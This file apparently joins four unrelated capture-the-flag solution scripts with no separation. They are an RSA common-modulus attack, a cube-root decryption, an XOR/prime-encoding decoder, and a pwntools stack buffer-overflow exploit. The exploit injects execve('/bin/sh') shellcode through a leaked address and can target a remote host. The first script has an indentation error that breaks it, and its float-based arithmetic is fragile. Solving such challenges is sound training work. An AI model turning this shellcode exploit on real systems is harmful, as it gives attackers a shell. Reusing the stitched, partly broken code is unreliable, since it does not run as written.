import gmpy2
from Crypto.Util.number import long_to_bytes

class RSAModuli:
    def __init__(self):
       self.a = 0
       self.b = 0
       self.m = 0
       self.i = 0
    def gcd(self, num1, num2):
       """
       This function os used to find the GCD of 2 numbers.
       :param num1:
       :param num2:
       :return:
       """
       if num1 < num2:
           num1, num2 = num2, num1
       while num2 != 0:
           num1, num2 = num2, num1 % num2
       return num1
    def extended_euclidean(self, e1, e2):
       """
       The value a is the modular multiplicative inverse of e1 and e2.
       b is calculated from the eqn: (e1*a) + (e2*b) = gcd(e1, e2)
       :param e1: exponent 1
       :param e2: exponent 2
       """
       self.a = gmpy2.invert(e1, e2)
       self.b = (float(self.gcd(e1, e2)-(self.a*e1)))/float(e2)
   
    def modular_inverse(self, c1, c2, N):
       """
       i is the modular multiplicative inverse of c2 and N.
       i^-b is equal to c2^b. So if the value of b is -ve, we
       have to find out i and then do i^-b.
       Final plain text is given by m = (c1^a) * (i^-b) %N
       :param c1: cipher text 1
       :param c2: cipher text 2
       :param N: Modulus
       """
       i = gmpy2.invert(c2, N)
       mx = pow(c1, self.a, N)
       my = pow(i, int(-self.b), N)
       self.m= mx * my % N
    
    def print_value(self):
        print("Plain Text: ", self.m)
		print("Decoded: {}".format(long_to_bytes(self.m) ))


def main():
   c = RSAModuli()
   N  = 0xa6241c28743fbbe4f2f67cee7121497f622fd81947af30f327fb028445b39c2d517ba7fdcb5f6ac9e6217205f8ec9576bdec7a0faef221c29291c784eed393cd95eb0d358d2a1a35dbff05d6fa0cc597f672dcfbeecbb14bd1462cb6ba4f465f30f22e595c36e6282c3e426831d30f0479ee18b870ab658a54571774d25d6875
   c1 = 0x5d1e39bc751108ec0a1397d79e63c013d238915d13380ae649e84d7d85ebcffbbc35ebb18d2218ccbc5409290dfa8a4847e5923c3420e83b1a9d7aa67190dc0d34711cce261665c64c28ed2834394d4b181926febf7eb685f9ce81f36c7fb72798da3a14a123287171d26e084948aab0fba81c53f10b5696fc291006254ee690
   c2 = 0x3d90f2bec4fe02d8ce4cece3ddb6baed99337f7e6856eef255445741b5cfe378390f058679d70236e51be4746db4c207f274c40b092e24f8c155a0957867e84dca48e27980af488d2615a280c6eadec2f1d30b95653b1ee3135e2edff100dd2c529994f846722f811348b082d0bec7cfab579a4bd0ab789928b1bebed68d628f
   e1 = 0x3045
   e2 = 0xff4d
   c.extended_euclidean(e1, e2)
   c.modular_inverse(c1, c2, N)
   c.print_value()

if __name__ == '__main__':
   main()

#!/bin/python3
from gmpy2 import iroot,to_binary

ct =  873155658033286165345893055075219953448439133304998599826332294122364399613515391492517530741997313686269671365469457117326837553092248386584401016236110628510070270063568461732767950347057143066788600143225698168693961311821925168117751654884111332051719013

res = iroot(ct,3)
flag = to_binary(res[0]).decode()
flag = flag[::-1]

print(f"Flag: {flag}")

# ENCRYPT.py

from sympy import isprime, prime

flag = '<REDACTED>'

def Ord(flag):
    x0r([ord(i) for i in flag])
    
def x0r(listt):
    ff = []
    for i in listt:
        if isprime(i) == True:
            ff.append(prime(i) ^ 0x1337)
        else:
            ff.append(i ^ 0x1337)
    b1n(ff)

def b1n(listt):
    ff = []
    for i in listt:
        ff.append(int(bin(i)[2:]))
    print(ff)
    
if __name__ == "__main__":
    Ord(flag)

'''
 OUTPUT :
[1001100000110, 1001100000100, 1001100000100, 1001100000000, 1001101100010, 1001101100111, 1001101001100, 1001101001111, 1001100000111, 1001101000101, 1001101101000, 1001100000011, 1001101011001, 1001101110011, 1001101101000, 1001101110101, 1001101011110, 1001101011001, 1001100000011, 1001011001010, 1001101100101, 1001101001110, 1001101101000, 1001101110010, 1001101011001, 1001001111100, 1001100000111, 1001101010011, 1001100000100, 1001101000101, 1001101101000, 1001100000011, 1001101000101, 1001100000100, 1001101101000, 1001101000011, 1001101111111, 1001100000100, 1001101101000, 1001101100000, 1001100000100, 1001100000011, 1000101111100, 1001100000100, 1001111000110, 1001101000011, 1001101101000, 1001100001111, 1001100000111, 1001100000000, 1001100001110, 1001100000111, 1001100000000, 1001111000110, 1001100000001, 1001101001010]
'''

from sympy import isprime, prime, sieve

def revBin(l):
	res = []
	for i in l:
		x = str(i)
		res.append(int(x,2))
	return res

def revXOR(l):
	res = []
	for i in l:
		x = i ^ 0x1337
		if isprime(x):
			# Find possible primes and then get its position
			res.append(sieve.search(x)[0])
		else:
			res.append(x)
	return res

def toChr(l):
	return "".join(chr(x) for x in l)

inp = [1001100000110, 1001100000100, 1001100000100, 1001100000000, 1001101100010, 1001101100111, 1001101001100, 1001101001111, 1001100000111, 1001101000101, 1001101101000, 1001100000011, 1001101011001, 1001101110011, 1001101101000, 1001101110101, 1001101011110, 1001101011001, 1001100000011, 1001011001010, 1001101100101, 1001101001110, 1001101101000, 1001101110010, 1001101011001, 1001001111100, 1001100000111, 1001101010011, 1001100000100, 1001101000101, 1001101101000, 1001100000011, 1001101000101, 1001100000100, 1001101101000, 1001101000011, 1001101111111, 1001100000100, 1001101101000, 1001101100000, 1001100000100, 1001100000011, 1000101111100, 1001100000100, 1001111000110, 1001101000011, 1001101101000, 1001100001111, 1001100000111, 1001100000000, 1001100001110, 1001100000111, 1001100000000, 1001111000110, 1001100000001, 1001101001010]

if __name__ == "__main__":
	decList = revBin(inp)
	resList = revXOR(decList)
	# print(resList)
	res = toChr(resList)
	print(res)

#!/bin/python2
from pwn import *

exe = "./easy_register"

elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
context.delete_corefiles = True

# Setup process
def start(argv=[], *a, **kw):
    if args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


p = start()
p.recvuntil("listing at")
leak = int(((p.recvline()).strip()).strip('.'), 16)
info("Leaked address: {}".format(hex(leak)))

eip_offset = 88
shellcode = "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
info("Length of shellcode: {}".format(len(shellcode)))
padding1 = "0" * (eip_offset - len(shellcode))

payload = flat(
    shellcode,
    padding1,
    p64(leak),
    )
info("Length of payload: {}".format(len(payload)))

with open('payload', 'wb') as f:
    f.write(payload)

p.recvuntil("Hacker name > ")
p.sendline(payload)
p.interactive()